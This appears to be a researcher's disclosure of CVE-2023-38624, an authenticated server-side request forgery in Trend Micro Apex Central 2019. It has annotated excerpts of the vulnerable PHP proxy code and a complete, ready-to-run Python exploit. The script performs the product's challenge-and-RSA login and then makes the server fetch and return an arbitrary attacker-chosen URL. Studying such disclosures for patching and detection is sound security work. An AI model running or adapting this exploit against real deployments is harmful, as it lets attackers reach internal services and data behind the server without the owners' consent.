(CVE-2023-38624) Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMSL/Proxy.php

public function proxy_exec()
{
    // ...
    } else if( $this->cgiArgs["api"] ) {
        $this->widget_api(); // [1]
    }
}

private function widget_api() 
{
    switch($this->cgiArgs["api"]) {
        case 'EVENT_FILTER_STRINGS':
            $url = $this->get_server_path() . '/UI/l10n/l10n.event_filter.js'; // [2]
            $this->httpObj->setURL($url);
            $this->httpObj->setMethod_GET();
            if ($this->httpObj->Send() == FALSE) {
                // ...
            }
            $this->output = $this->httpObj->getBody();
            break;
        // ...
    }
}

private function get_server_path()
{
    return $this->serverInfo['protocol'] . "://" . $this->serverInfo['host'] . ":" . $this->serverInfo['port']; // [3]
}

// /Control Manager/WebUI/WebApp/widget/inc/class/proxy/BaseProxy.abstract.php

abstract class ABaseProxy
{
    public function __construct($args, $dbconfig){
        // ...
        else if (isset($args["ApplyToServer"]))
        {
            $this->set_server_info_task(); // [4]
        }
    }

    // ...

    protected function set_server_info_task()
    {
        // server information
        $this->serverInfo['host'] = $this->cgiArgs["TargetServerIP"]; // [5]
        $this->serverInfo['port'] = $this->cgiArgs["TargetPort"];
        $this->serverInfo['protocol'] = $this->cgiArgs["TargetProtocol"];
        $this->serverInfo['proxy_enable'] = $this->cgiArgs["ApplyProxy"];
        $this->serverInfo['password'] = $this->cgiArgs["Password"];
        $this->serverInfo['username'] = $this->cgiArgs["ID"];
        $this->serverInfo['customFields'] = $this->cgiArgs["Others"];
        // proxy information
        $this->proxyInfo['host'] = $this->cgiArgs["ProxyServer"];
        $this->proxyInfo['port'] = $this->cgiArgs["ProxyPort"];
        $this->proxyInfo['auth'] = $this->cgiArgs["ProxyNeedAuth"];
        $this->proxyInfo['username'] = $this->cgiArgs["ProxyUserID"];
        $this->proxyInfo['password'] = $this->cgiArgs["ProxyPassword"];
        $this->proxyInfo['type'] = $this->cgiArgs["ProxyType"];
    }

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMSL/Proxy.php

private function widget_api() 
{
    switch($this->cgiArgs["api"]) {
        case 'EVENT_FILTER_STRINGS':
            $url = $this->get_server_path() . '/UI/l10n/l10n.event_filter.js'; // [6]
            $this->httpObj->setURL($url);
            $this->httpObj->setMethod_GET();
            if ($this->httpObj->Send() == FALSE) { // [7]
                // ...
            }
            $this->output = $this->httpObj->getBody(); // [8]
            break;
        // ...
    }
}

public function proxy_output()
{
    echo $this->output; // [9]
}

# Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38624)
# Via: https://TARGET_HOST/webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import random
import re
import requests
import string
import sys
from urllib.parse import urlparse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, ssrf_target

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6394) Authenticated SSRF (CVE-2023-38624) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD SSRF_TARGET_DOMAIN".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    ssrf_target = urlparse(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def ssrf():
    print("[+] Performing SSRF...")
    payload = f"{ssrf_target.netloc}{ssrf_target.path}"
    random_param = "".join(random.choices(string.ascii_letters + string.digits, k=12))
    if ssrf_target.query:
        payload += f"?{ssrf_target.query}&{random_param}="
    else:
        payload += f"?{random_param}="
    
    res = s.get(f"{target}/webapp/widget/proxy_controller.php?module=modTMSL&api=EVENT_FILTER_STRINGS&ApplyToServer=a&TargetProtocol={ssrf_target.scheme}&TargetServerIP={payload}", verify=False)
    if "{\"errcode\":\"421\"}" in res.text:
        print("[!] SSRF target not accessible! Check if there's a typo.")
        sys.exit(1)
    else:
        print("[+] SSRF successful! Partial HTML of SSRF target:\n")
        print(res.text[:500]+"\n")
        with open(f"ssrf_target_output_{ssrf_target.netloc}.html", "w") as f:
            f.write(res.text)
        print(f"[+] Full HTML written to 'ssrf_target_output_{ssrf_target.netloc}.html'!")

def main():
    check_args()
    authenticate()
    ssrf()

if __name__ == "__main__":
    main()